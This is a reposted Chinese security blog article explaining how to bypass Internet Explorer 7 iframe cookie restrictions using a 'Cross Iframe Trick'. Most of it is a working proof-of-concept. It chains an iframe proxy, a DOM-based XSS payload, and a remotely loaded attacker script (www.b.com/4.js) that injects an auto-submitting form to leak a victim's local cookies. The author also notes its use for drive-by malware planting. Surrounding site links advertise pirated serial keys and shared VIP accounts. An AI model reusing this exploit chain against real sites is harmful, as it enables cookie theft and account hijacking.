- 1PS提示：因为图层已锁定，无法编辑图层的处理方法
- 2picacg苹果版怎么找不到|picacg ios版是不是下架了介绍
- 3Adobe Illustrator CS5 序列号大全
- 4ACDsee注册码免费分享（含ACDsee18、ACDsee10等版本）
- 5Potato(土豆聊天)怎么换头像|Potato app更改头像方法介绍
- 6PDF浏览器能看3D文件吗？PDF浏览器看3D文件图文详细教程
- 7Potato(马铃薯聊天)怎么注册不了|Potato不能注册处理方法介绍
- 8最新的Adobe Illustrator CS4序列号大全
- 9Intel i7-9700K性能跑分曝光：同代提升约12%
- 10Intel Z390主板有望10月8日公布：8核9代酷睿随后登场
- 11XP系统怎么清除缓存？
- 12ACDSee与2345看图王哪一个好用？区别比较
[摘要]作者：aullik5 今天这篇主要是要讲以下这么几件事情： 1. iframe的限制 2. 突破iframe获取本地cookie的思路 3. 利用Cross Iframe Trick突破if...
作者：aullik5
今天这篇主要是要讲以下这么几件事情：
1. iframe的限制
2. 突破iframe获取本地cookie的思路
3. 利用Cross Iframe Trick突破iframe安全限制
我的测试环境是： IE 7 (7.0.5730.13)
以下所有的内容全部经过我在IE7中测试， 是真实有效的结果。
Iframe的限制:
因为iframe这个玩意比较特殊， 所以浏览器对它一般都有一些限制。
首先父窗口不能控制子窗口的js， 只能读取一些对象；子窗口也不能使用父窗口的js， 也只能读部分对象， 更多的比如document啥的都限制了。
关系如下：
- iframe's should not be able to view content/cookies from another domain
- iframe children CAN view certain properties and execute certain behaviors
- parent.window.blur
- parent.window.opener
- parent.window.length
- others
- iframe children CAN redirect the parent frame to a new location (great for phishing)
- parent.location.href
- parent.window.location
对于有些利用子窗口执行父窗口js的方法是限制的
比如， 在子窗口里可以这么使用：
parent.location.href="http://www.sohu.com";
上面的语句将把父窗口重新定义到sohu的网站去.
但是如果想执行js， 或者是读取document对象， 则会被拒绝访问
parent.location.href=new String("javascript:alert(document.cookie)");
parent.location.href=new String("javascript:alert(1)");
像这两条都会被拒绝。
对于iframe， Firefox3 居然是不限制本地cookie发送的！也就是说， 在Firefox环境里， 使用iframe包含一个远程页面， 是会将保存在本地的cookie发送出去的， 这使得CSRF会非常之方便。
但是IE不同， 对于IE环境中， img和iframe标签都只能发送session cookie， 无法发送本地cookie， 所以很多时候CSRF会失败， 这也会给XSS带来很大的麻烦， 比如会使得XSRF更困难一些。
鉴于Firefox一点挑战都没有， 所以今天主要研究的对象是IE。
在IE环境下， 程序员们一般都是使用P3P协议来获取跨域cookie的， 但是P3P也要求我们改写HTTP头， 更麻烦， 在这里， 我纯粹使用一些脚本的技巧来突破这些限制。
突破IFRAME限制的思路：（以下都是在IE环境中）
由于页面里的iframe都是发送的session cookie， 所以子框架页面里本身是只有一个session cookie的， 我们无法通过在子框架里执行js的方法来获取本地cookie， 无中生有的事情是干不出来的。
了解这一原理后， 思路就很明确了：想办法新起一个不受限制的窗口， 从而获取本地cookie。
具体来说， 有这么两个办法：
1、 使用window.open打开一个新窗口
2、 回到父窗口， 让其打开一个新窗口
在子框架中， 使用window.open()确实可以发送本地cookie， 但是问题是浏览器一般会限制页面弹窗口， 会被拦截， 所以这个方法比较囧~~， 不是个好办法。
而第二个办法， 回到父窗口去打开新窗口， 就涉及到一个突破iframe执行脚本的问题， 而这个问题在我的前一篇Cross Iframe Trick 里已经解决了， 所以我们的方法就呼之欲出了。
利用Cross Iframe Trick突破iframe限制获取子框架cookie：
Cross Iframe的最大贡献就在于他可以绕过前面提到的iframe的限制， 在父域或者子框架里获取对象， 执行脚本。
当一个页面很难突破时， 如果他包含了一个存在弱点的iframe页面， 则可能会带来灾难性的结果。
我相信真正精通脚本攻击的人是能够看到它的用处和优势的。
环境如下：(绑定127.0.0.1 www.baidu.com)
http://www.a.com/1.html 是我们要攻击的页面， 它包含了一个存在弱点的iframe， 用户只会去浏览这个页面
http://www.baidu.com/3.html 是我们已经控制的页面， 他作为一个iframe被1.html所包含。 在这里是iframe proxy
http://www.a.com/4.html 是www.a.com上的一个存在XSS漏洞的页面， 一般情况下用户不会去访问它！
http://www.b.com/4.js 这是攻击者自己的服务器上的一个恶意脚本， 将被XSS攻击远程载入4.html中。
由于用户只会浏览www.a.com/1.html， 所以我们要通过脚本攻击， 从www.a.com/1.html里获取用户在www.baidu.com/3.html的本地cookie。
www.a.com/1.html的代码如下：
---------------------------------- 我是聪明的分割线 -------------------------------------------
<script>
// 函数tt1 ,在最后将被4.html注入参数
function tt1(fvck){
alert("tt1() and args= "+fvck);
document.write("<input id=\"bbb\" value=\'test1"+fvck+"\' >");
}
</script>
<body >
<iframe id="tt2_3" src="http://www.baidu.com/3.html" width="300" height="300" ></iframe>
</body>
---------------------------------- 我是聪明的分割线 -------------------------------------------
它包含了一个iframe页面
www.baidu.com/3.html 的代码为：
---------------------------------- 我是聪明的分割线 -------------------------------------------
<html>
<body >
<script>
//parent.location.href=new String("javascript:alert(document.cookie)");
//parent.location.href="http://www.sohu.com";
alert("3.html in iframe and cookie="+document.cookie);
// iframe proxy: 创建一个动态iframe， 并利用4.html里的XSS漏洞
var tt1_4 = document.createElement("iframe");
tt1_4.src = "http://www.A.com/4.html#' ><script src=\"http://www.b.com/4.js\"><\/script><\'";
document.body.appendChild(tt1_4);
</script>
</body>
</html>
---------------------------------- 我是聪明的分割线 -------------------------------------------
3.html是我们的iframe proxy， 利用它来完成在www.a.com里执行脚本的工作。
www.a.com/4.html 的代码为：
---------------------------------- 我是聪明的分割线 -------------------------------------------
<html>
<script>
// 一个基于DOM的XSS漏洞
document.write("<input id=\"aaa\" value=\'test4"+window.location.href+"\' >");
//window.open("http://www.baidu.com/4.html"); 会带上cookie
</script>
<body >
This is 4.html!
<!-- 把这里的注释去掉可以用来测试， 这样发送的还是session cookie!
<form id="form1" method="post" action="http://www.baidu.com/2.html" >
<img class='lazy' data-original="/article/UploadFiles/200903/20090320092752356.jpg" onload=submitpost4();>
</form>
<script>function submitpost4(){ document.forms[0].submit(); }</script>
-->
</body>
</html>
---------------------------------- 我是聪明的分割线 -------------------------------------------
www.b.com/4.js 的代码为：
---------------------------------- 我是聪明的分割线 -------------------------------------------
alert("4.js is loaded!");
top.tt1('\'><form id=\"form1\" method=\"post\" action=\"http://www.baidu.com/2.html\" ><img class='lazy' data-original=\"/article/UploadFiles/200903/20090320092752356.jpg\" onload=submitpost4();></form><script>function submitpost4(){ document.forms[0].submit(); }</script><\!-- \'');
---------------------------------- 我是聪明的分割线 -------------------------------------------
4.js才是我们真正利用XSS漏洞和Cross Iframe Trick来新起一个窗口， 从而获取本地cookie的方法。
www.baidu.com/2.html的代码很简单， 他的作用是查看当前的cookie：
---------------------------------- 我是聪明的分割线 -------------------------------------------
<script>
alert("2.html cookie="+document.cookie);
</script>
---------------------------------- 我是聪明的分割线 -------------------------------------------
在这里攻击流程是这样的：
www.a.com/1.html ----iframe----> www.baidu.com/3.html ----动态iframe---> www.a.com/4.html 的XSS漏洞 ------> 在www.a.com域中远程加载www.b.com/4.js
4.js动态调用 www.a.com/1.html 里的 tt1() 函数， 并篡改参数， 写入一个form， 利用js动态提交该表单， 这时候提交的表单， 就自动带上了本地cookie了
整个过程运行结果如下：
首先访问 www.a.com/1.html
[img align=undefined]/article/UploadFiles/200903/20090320092753401.jpg[/img]
可以看到这个时候在www.baidu.com/3.html 中弹出的是session cookie， 可以对比下我们最后结果里弹出的本地cookie接下来， 3.html将构造iframe proxy
可以看到， 由于www.a.com/4.html里的XSS漏洞被利用， 所以远程js被加载了
远程js继续调用top1.tt1(); 这个函数， 同时篡改它的参数， 参数如上图显示。 接下来将把这个参数注入到tt1()函数中， 由于tt1()函数中存在一个 document.write,所以它将改写页面， 并且构造一个form表单， 重新提交到www.baidu.com/2.html
由于在form表单中， 利用了img标签的onload事件， 使得img一加载就提交form， 所以很快就自动获得了cookie。
可以看到， 此时获取的， 就是www.baidu.com/2.html 保存的本地cookie！
需要注意的是， 在4.html中， 即使把 top.tt1()改成了 document.write()， 也无法获取本地cookie， 想来应该还是因为iframe限制的问题。
以上， 就是利用Cross Iframe Trick的技巧来突破iframe限制的方法， 其意义在于跨页面攻击、跨域攻击、突破iframe的限制， 等等， 大大丰富了脚本攻击的方法。
不知道我这篇是不是又在白写， 如果有人能把我给出的POC好好调一遍， 会发现这里面还是很有趣的。
最后， 再讲讲， 有的人可能会提出疑问， 能构造iframe proxy， 是否可以直接用来挂马?
是的， 当然可以直接用来挂马， 但是挂马却是更加复杂的一种攻击， 要求有好的浏览器漏洞， 好的木马， 能够对抗主动防御的shellcode， 同时， 根据需要获取的数据不同， 有时候挂马也并不能达到目的。 比如， 攻击的目标是网站里的数据， 如果网站有SSL保护， 有防键盘记录一类的程序， 则会更加麻烦。
上面是电脑上网安全的一些基础常识，学习了安全知识，几乎可以让你免费电脑中毒的烦扰。
推荐资讯 总人气榜
最新教程 本月人气
- 1Revit绘制特殊的SU楼梯的方法
- 2Revit怎么绘制曲面嵌板？3种Revit曲面嵌板效果的画法
- 3Revit公式使用方法大全
- 4Revit在项目中使用注释标签的几个技巧
- 5Revit工作平面的概念介绍与使用方法
- 6Revit编辑组中的图元的工具与方法
- 7Revit自动创建坡道的方法
- 8使用Revit与CAD绘制出螺旋型屋面的方法
- 9让Revit平面图的线型、线宽与颜色符合我们的要求的方法
- 10Revit族样板分类以及创建Revit族样板的方法
- 11Revit模型文字介绍
- 12Revit创建暖通系统的详细步骤
- 1全民k歌怎么删除自己的作品|全民K歌删除自己歌曲方法介绍
- 2芒果tv会员账号共享2017.5.27芒果tv最新共享vip会员账号更新
- 3黄油相机怎么删除水印？黄油相机删除水印的方法
- 4红米3什么时候上市 红米3上市时间
- 5为什么苹果手机2G运行内存比安卓手机4G内存更流畅？
- 6iPhone7先别买，10周年iPhone8憋了这么多大招！
- 7iPhone 8打王者荣耀绝对不会卡 因为有它
- 8iphone8概念图，屏幕设计改为内弯曲，采纳A11处理器，4GB运行内存？你点睇？
- 9iPhone iOS10.3.2耗电又卡顿？一键处理
- 10iPhone刷机经常见未知出错区分及处理方法
- 11iPhone 8原型机现身：所有方面屏，玻璃下指纹识别
- 12Word排版时图片为什么看不清
